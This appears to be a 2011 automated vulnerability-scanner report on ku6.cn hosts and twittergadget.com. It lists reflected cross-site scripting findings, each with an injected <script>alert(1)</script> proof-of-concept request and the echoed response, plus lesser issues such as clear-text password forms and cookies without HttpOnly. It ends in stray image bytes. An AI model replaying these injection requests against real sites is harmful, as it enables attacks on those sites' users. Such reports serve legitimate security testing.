HTTP/1.1 200 OK Date: Sat, 03 Sep 2011 03:41:32 GMT Server: Apache P3P: policyref="http://scripts.chitika.net/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: _cc=; path=/; domain=.chitika.net; expires=Sat Sep 3 03:41:32 2011 GMT Set-Cookie: _cc=G/TcoYgFygB9c8AjAS26jknbh0NqE2sI5FE36gO8EDLYgts099yYuAwDkhj6TgSMiGiJgcNiji0ugKTaU7CoAmTjNdvF8B+LJWN8MOwL9pkfFIrukN7NLoWTQ7VaEwnZHp5I4Ma4s2ERaFxr85LyDiQy2v/AU3AKdaDPR4ZF4a0UW3QPlub+IGGyL8TyIS22OM25CMR7OvDCwkmAnMNmc34MBmh0q5YhD+ujPGDIo5WQVGSGZOge29+/NA1zPxQVhoImT8IxgM9/qiUCVNETIKkQHESOONyg2VDyqMBQjxAZcr+UMLFRK4o7lfoSxwHHteKRpYcR7y/c+Q33+L78AxaUkDgzN3J2seTbJqXu2B49vgkN0kqomkewxF7DZwUOV9rRoEE1QCUf/uNGasmvEq4LQETUy9mwtzW956UnnuEw9v7/2BfXq1zR5nVh0cpj9cloN+/kPNpiNLeteW66esADfpnaIisgc/toMtGIC8DAIzq9vPfyMaY6+5hgzv3GL88JDBsqBoKPgCPDoe7nCAmpnvQ+te7mrgxOdEbyiUiRcFqD1713S5sHyfznl3Ph63NN.43mYp5ptCxyUKd8iaGDEmA.4; path=/; domain=.mm.chitika.net; expires=Sun Sep 2 03:41:32 2012 GMT Vary: Accept-Encoding Content-Length: 30290 Connection: close Content-Type: text/html; charset=utf-8
1.29. http://st.vq.ku6.cn/ [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://st.vq.ku6.cn
Path:
/
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload ce1e8<script>alert(1)</script>661bd123015 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /?ce1e8<script>alert(1)</script>661bd123015=1 HTTP/1.1 Host: st.vq.ku6.cn User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
Response
HTTP/1.1 404 Not Found deinfo: PID=2903 Content-Type: text/html; charset=iso-8859-1 Connection: close Date: Sat, 03 Sep 2011 03:37:33 GMT Content-Length: 238
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /?ce1e8<script>alert(1)</script>661bd123015=1 was not found on vqhttpd.</p> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload f860c<script>alert(1)</script>8761cc52e4c was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /crossdomain.xmlf860c<script>alert(1)</script>8761cc52e4c HTTP/1.1 Host: st.vq.ku6.cn Proxy-Connection: keep-alive Referer: http://player.ku6.com/refer/SircV0zKaj06jIFi/v.swf User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found deinfo: PID=24234 Content-Type: text/html; charset=iso-8859-1 Connection: close Date: Sat, 03 Sep 2011 02:34:41 GMT Content-Length: 250
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /crossdomain.xmlf860c<script>alert(1)</script>8761cc52e4c was not found on vqhttpd.</p> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload c86e7<script>alert(1)</script>1f98c2b22df was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /favicon.icoc86e7<script>alert(1)</script>1f98c2b22df HTTP/1.1 Host: st.vq.ku6.cn Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found deinfo: PID=2903 Content-Type: text/html; charset=iso-8859-1 Connection: close Date: Sat, 03 Sep 2011 03:36:15 GMT Content-Length: 246
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /favicon.icoc86e7<script>alert(1)</script>1f98c2b22df was not found on vqhttpd.</p> ...[SNIP]...
1.32. http://st.vq.ku6.cn/favicon.ico [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://st.vq.ku6.cn
Path:
/favicon.ico
Issue detail
The name of an arbitrarily supplied request parameter is copied into the HTML document as plain text between tags. The payload 2480d<script>alert(1)</script>035ccc8db10 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /favicon.ico?2480d<script>alert(1)</script>035ccc8db10=1 HTTP/1.1 Host: st.vq.ku6.cn Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found deinfo: PID=2903 Content-Type: text/html; charset=iso-8859-1 Connection: close Date: Sat, 03 Sep 2011 03:36:14 GMT Content-Length: 249
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /favicon.ico?2480d<script>alert(1)</script>035ccc8db10=1 was not found on vqhttpd.</p> ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 630bd<script>alert(1)</script>356993bea72 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /vq630bd<script>alert(1)</script>356993bea72/init?ref=http%3A%2F%2Fdict.bing.msn.cn%2F&ver=OUT%20core2.4.42&refer=http%3A%2F%2Fdict.bing.com.cn%2F%3Fform%3DMSTP1%26ulang%3Den-us%26tlang%3Dzh-cn%23%253Ahome&flash=WIN%2010%2C3%2C183%2C7&vid=SircV0zKaj06jIFi&rnd=0.6729903579689562&uuid=6980c66d-e5f6-c043-a5ab-2d238a1f5a24 HTTP/1.1 Host: st.vq.ku6.cn Proxy-Connection: keep-alive Referer: http://player.ku6.com/refer/SircV0zKaj06jIFi/v.swf User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found deinfo: PID=24234 Content-Type: text/html; charset=iso-8859-1 Connection: close Date: Sat, 03 Sep 2011 02:34:59 GMT Content-Length: 513
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /vq630bd<script>alert(1)</script>356993bea72/init?ref=http%3A%2F%2Fdict.bing.msn.cn%2F&ver=OUT%20core2.4.42&refer=http%3A%2F%2Fdict.bing.com.cn%2F%3Fform%3DMSTP1%26ulang%3Den-us%26tlang%3Dzh-cn%23%253Ahome&flash=WIN%2010%2C3%2C183%2C7&vid=SircV0 ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload f9829<script>alert(1)</script>f5b9fcad4c9 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /vq/initf9829<script>alert(1)</script>f5b9fcad4c9?ref=http%3A%2F%2Fdict.bing.msn.cn%2F&ver=OUT%20core2.4.42&refer=http%3A%2F%2Fdict.bing.com.cn%2F%3Fform%3DMSTP1%26ulang%3Den-us%26tlang%3Dzh-cn%23%253Ahome&flash=WIN%2010%2C3%2C183%2C7&vid=SircV0zKaj06jIFi&rnd=0.6729903579689562&uuid=6980c66d-e5f6-c043-a5ab-2d238a1f5a24 HTTP/1.1 Host: st.vq.ku6.cn Proxy-Connection: keep-alive Referer: http://player.ku6.com/refer/SircV0zKaj06jIFi/v.swf User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found deinfo: PID=24234 Content-Type: text/html; charset=iso-8859-1 Connection: close Date: Sat, 03 Sep 2011 02:35:01 GMT Content-Length: 513
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /vq/initf9829<script>alert(1)</script>f5b9fcad4c9?ref=http%3A%2F%2Fdict.bing.msn.cn%2F&ver=OUT%20core2.4.42&refer=http%3A%2F%2Fdict.bing.com.cn%2F%3Fform%3DMSTP1%26ulang%3Den-us%26tlang%3Dzh-cn%23%253Ahome&flash=WIN%2010%2C3%2C183%2C7&vid=SircV0zKaj0 ...[SNIP]...
The value of REST URL parameter 1 is copied into the HTML document as plain text between tags. The payload 75b9d<script>alert(1)</script>a52de215f90 was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /vq75b9d<script>alert(1)</script>a52de215f90/start?atime=18&cid=111000&utime=2130&refer=http%3A%2F%2Fdict.bing.com.cn%2F%3Fform%3DMSTP1%26ulang%3Den-us%26tlang%3Dzh-cn%23%253Ahome&hd=0&error=0&rnd=0.876315273810178&timeout=5000&uuid=6980c66d-e5f6-c043-a5ab-2d238a1f5a24 HTTP/1.1 Host: st.vq.ku6.cn Proxy-Connection: keep-alive Referer: http://player.ku6.com/refer/SircV0zKaj06jIFi/v.swf User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found deinfo: PID=24234 Content-Type: text/html; charset=iso-8859-1 Connection: close Date: Sat, 03 Sep 2011 02:34:55 GMT Content-Length: 462
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /vq75b9d<script>alert(1)</script>a52de215f90/start?atime=18&cid=111000&utime=2130&refer=http%3A%2F%2Fdict.bing.com.cn%2F%3Fform%3DMSTP1%26ulang%3Den-us%26tlang%3Dzh-cn%23%253Ahome&hd=0&error=0&rnd=0.876315273810178&timeout=5000&uuid=6980c66d-e5f ...[SNIP]...
The value of REST URL parameter 2 is copied into the HTML document as plain text between tags. The payload d718f<script>alert(1)</script>78efa0f37ec was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /vq/startd718f<script>alert(1)</script>78efa0f37ec?atime=18&cid=111000&utime=2130&refer=http%3A%2F%2Fdict.bing.com.cn%2F%3Fform%3DMSTP1%26ulang%3Den-us%26tlang%3Dzh-cn%23%253Ahome&hd=0&error=0&rnd=0.876315273810178&timeout=5000&uuid=6980c66d-e5f6-c043-a5ab-2d238a1f5a24 HTTP/1.1 Host: st.vq.ku6.cn Proxy-Connection: keep-alive Referer: http://player.ku6.com/refer/SircV0zKaj06jIFi/v.swf User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.218 Safari/535.1 Accept: */* Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 404 Not Found deinfo: PID=24234 Content-Type: text/html; charset=iso-8859-1 Connection: close Date: Sat, 03 Sep 2011 02:34:56 GMT Content-Length: 462
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /vq/startd718f<script>alert(1)</script>78efa0f37ec?atime=18&cid=111000&utime=2130&refer=http%3A%2F%2Fdict.bing.com.cn%2F%3Fform%3DMSTP1%26ulang%3Den-us%26tlang%3Dzh-cn%23%253Ahome&hd=0&error=0&rnd=0.876315273810178&timeout=5000&uuid=6980c66d-e5f6-c043 ...[SNIP]...
The value of the keyword request parameter is copied into the HTML document as plain text between tags. The payload 228a4<script>alert(1)</script>ae30a4ff8cb was submitted in the keyword parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The value of the libs request parameter is copied into an HTML comment. The payload d299b--><script>alert(1)</script>555970bb4c7 was submitted in the libs parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /gadget.asp?exp_rpc_js=1&exp_track_js=1&st=c%3Dig%26e%3DAPu7icrCeW46cdqfG5HX4hLQTBjlFoIOZj15CIUvDtW2UBaf4GPGY/bQeNTSGC9xleWMm/AYyk%252BfSoFb%252B087GUvS20Z0q8bGq4zLXaKEM14Nc1cw9gX/xrknfgeVdxMswWlZoIf/pN4K&libs=dynamic-height%3Acore%3Asettitle&container=ig&view=home&lang=en&country=US&sanitize=0&v=10d03eb04fb15910&parent=http://www.google.com&libs=GGjkAGNfaxw/lib/liberror_tracker.js,5SrQ6tE4xyQ/lib/librpc.js,J5nMtHz-p8w/lib/libcore.js,D41s-EJhVGo/lib/libdynamic-height.js,LlvwMnn0ByM/lib/libsettitle.jsd299b--><script>alert(1)</script>555970bb4c7&is_signedin=1&synd=ig&view=home HTTP/1.1 Host: www.twittergadget.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.google.com/ig?hl=en
Response
HTTP/1.1 200 OK Date: Sat, 03 Sep 2011 03:46:11 GMT Server: Apache P3P: CP="ALL DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Cache-Control: no-cache, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT Vary: Accept-Encoding Content-Length: 4031 Connection: close Content-Type: text/html; charset=UTF-8
The value of the parent request parameter is copied into an HTML comment. The payload d60ad--><script>alert(1)</script>b3535087343 was submitted in the parent parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /gadget.asp?exp_rpc_js=1&exp_track_js=1&st=c%3Dig%26e%3DAPu7icrCeW46cdqfG5HX4hLQTBjlFoIOZj15CIUvDtW2UBaf4GPGY/bQeNTSGC9xleWMm/AYyk%252BfSoFb%252B087GUvS20Z0q8bGq4zLXaKEM14Nc1cw9gX/xrknfgeVdxMswWlZoIf/pN4K&libs=dynamic-height%3Acore%3Asettitle&container=ig&view=home&lang=en&country=US&sanitize=0&v=10d03eb04fb15910&parent=http://www.google.comd60ad--><script>alert(1)</script>b3535087343&libs=GGjkAGNfaxw/lib/liberror_tracker.js,5SrQ6tE4xyQ/lib/librpc.js,J5nMtHz-p8w/lib/libcore.js,D41s-EJhVGo/lib/libdynamic-height.js,LlvwMnn0ByM/lib/libsettitle.js&is_signedin=1&synd=ig&view=home HTTP/1.1 Host: www.twittergadget.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.google.com/ig?hl=en
Response
HTTP/1.1 200 OK Date: Sat, 03 Sep 2011 03:46:09 GMT Server: Apache P3P: CP="ALL DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Cache-Control: no-cache, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT Vary: Accept-Encoding Content-Length: 4113 Connection: close Content-Type: text/html; charset=UTF-8
The value of the view request parameter is copied into an HTML comment. The payload fbd24--><script>alert(1)</script>491e141d2a5 was submitted in the view parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
Request
GET /gadget.asp?exp_rpc_js=1&exp_track_js=1&st=c%3Dig%26e%3DAPu7icrCeW46cdqfG5HX4hLQTBjlFoIOZj15CIUvDtW2UBaf4GPGY/bQeNTSGC9xleWMm/AYyk%252BfSoFb%252B087GUvS20Z0q8bGq4zLXaKEM14Nc1cw9gX/xrknfgeVdxMswWlZoIf/pN4K&libs=dynamic-height%3Acore%3Asettitle&container=ig&view=home&lang=en&country=US&sanitize=0&v=10d03eb04fb15910&parent=http://www.google.com&libs=GGjkAGNfaxw/lib/liberror_tracker.js,5SrQ6tE4xyQ/lib/librpc.js,J5nMtHz-p8w/lib/libcore.js,D41s-EJhVGo/lib/libdynamic-height.js,LlvwMnn0ByM/lib/libsettitle.js&is_signedin=1&synd=ig&view=homefbd24--><script>alert(1)</script>491e141d2a5 HTTP/1.1 Host: www.twittergadget.com User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://www.google.com/ig?hl=en
Response
HTTP/1.1 200 OK Date: Sat, 03 Sep 2011 03:46:11 GMT Server: Apache P3P: CP="ALL DSP COR CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT" Cache-Control: no-cache, must-revalidate Expires: Sat, 01 Jan 2000 00:00:00 GMT Vary: Accept-Encoding Content-Length: 4113 Connection: close Content-Type: text/html; charset=UTF-8
The page contains a form with the following action URL, which is submitted over clear-text HTTP:
http://wap.kaixin001.com/home/?id=ku6
The form contains the following password field:
password
Issue background
Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.
Issue remediation
The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
The following cookie was issued by the application and does not have the HttpOnly flag set:
JSESSIONID=abcjfRHkvDELC-gG1dVit; path=/
The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET / HTTP/1.1 Host: www.ku6.cn User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /minimall?w=250&h=300&client=domaintools&noctxt=4&sid=Domaintools%20250x300&cid=Domaintools%20250x300&query=Ku6.cn%20-%20Ku%206&type=mpu&searchref=1&vertical=premium&screenres=1920x1200&winsize=1077x1051&canvas=1053x144&frm=true&history=1&impsrc=amm1.0&url=http%3A//whois.domaintools.com/ku6.cn&ref=http%3A//www.fakereferrerdominator.com/referrerPathName%3FRefParName%3DRefValue&cb=989&required_text=overture&loc=752%2C1056&output=simplejs&callback=ch_ad_render_search HTTP/1.1 Host: mm.chitika.net User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13 Accept: */* Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Proxy-Connection: keep-alive Referer: http://whois.domaintools.com/ku6.cn
Response
HTTP/1.1 200 OK Date: Sat, 03 Sep 2011 03:39:21 GMT Server: Apache P3P: policyref="http://scripts.chitika.net/w3c/p3p.xml", CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: _cc=; path=/; domain=.chitika.net; expires=Sat Sep 3 03:39:21 2011 GMT Set-Cookie: _cc=G/Tk5Cjl4hBlNo8mEajwZkfJPsIvwV59+bFk7FXl/c5G5L+oCHSOGl/6DFCO+xZyFU4dJkit+GEk6tlyqFpuCYEJ75NXQzwpexs2SWZFytUw21CmH8zfwrYEjp9LsF8ZVwvald/ehVMkV7wQrC/Oj9GEpyagHcvZRstmMIl7ir2IxIWWIH9DTH5IQbA0L3+8oOrZuqxV4Ryd6R+N/jEaxgYyVi1b/e2SWJbjwVpzTUKwXLLw7llp1vUn1rZq9TUQ3J1q91fahxhXPtP/ygoSZYwd7f/lNjWoUaJPwoLOSGZVduEQQXO2ag1b+AigM2ms+J/xw1oedUfKuDC/H2J7RpgPpWwa9w==.q1C0SKIIUlM6bltOVaRnKw.4; path=/; domain=.mm.chitika.net; expires=Sun Sep 2 03:39:21 2012 GMT Vary: Accept-Encoding Content-Length: 26209 Connection: close Content-Type: text/javascript; charset=utf-8
var ch_mmhtml = {"pixelhtml":"","osnap":0,"snurl":"","js":"","hover":null,"output":"<!DOCTYPE html PUBLIC\"-// W3C//DTD XHTML 1.0 Transitional//EN\"\" http://www.w3.org/TR/xhtml1/DTD/xhtml1-transition ...[SNIP]...
The following cookie was issued by the application and does not have the HttpOnly flag set:
SERVERID=_srv61-14_; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 404 Not Found Date: Sat, 03 Sep 2011 03:53:39 GMT Server: Apache Content-Length: 199 Connection: close Content-Type: text/html; charset=iso-8859-1 Set-Cookie: SERVERID=_srv61-14_; path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /N was not found on this server.</p> </body></html>
The following cookie was issued by the application and does not have the HttpOnly flag set:
SERVERID=_srv59-102_; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 404 Not Found Date: Sat, 03 Sep 2011 03:51:29 GMT Server: Apache Content-Length: 203 Connection: close Content-Type: text/html; charset=iso-8859-1 Set-Cookie: SERVERID=_srv59-102_; path=/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /reg/N was not found on this server.</p> </body></htm ...[SNIP]...
4. Password field with autocomplete enabledpreviousnext
Summary
Severity:
Low
Confidence:
Certain
Host:
http://wap.kaixin001.com
Path:
/
Issue detail
The page contains a form with the following action URL:
http://wap.kaixin001.com/home/?id=ku6
The form contains the following password field with autocomplete enabled:
password
Issue background
Most browsers have a facility to remember user credentials that are entered into HTML forms. This function can be configured by the user and also by applications which employ user credentials. If the function is enabled, then credentials entered by the user are stored on their local computer and retrieved by the browser on future visits to the same application.
The stored credentials can be captured by an attacker who gains access to the computer, either locally or through some remote compromise. Further, methods have existed whereby a malicious web site can retrieve the stored credentials for other applications, by exploiting browser vulnerabilities or through application-level cross-domain attacks.
Issue remediation
To prevent browsers from storing credentials entered into HTML forms, you should include the attribute autocomplete="off" within the FORM tag (to protect all form fields) or within the relevant INPUT tags (to protect specific individual fields).
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.
If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.
Issue remediation
Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.
If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
......JFIF.....H.H......PIC..........Photoshop 3.0.8BIM.................x.iPoison lead singer Bret Michaels poses for a portrait as he promotes his new solo album "Custom Built" and his VH1 reality te ...[SNIP]...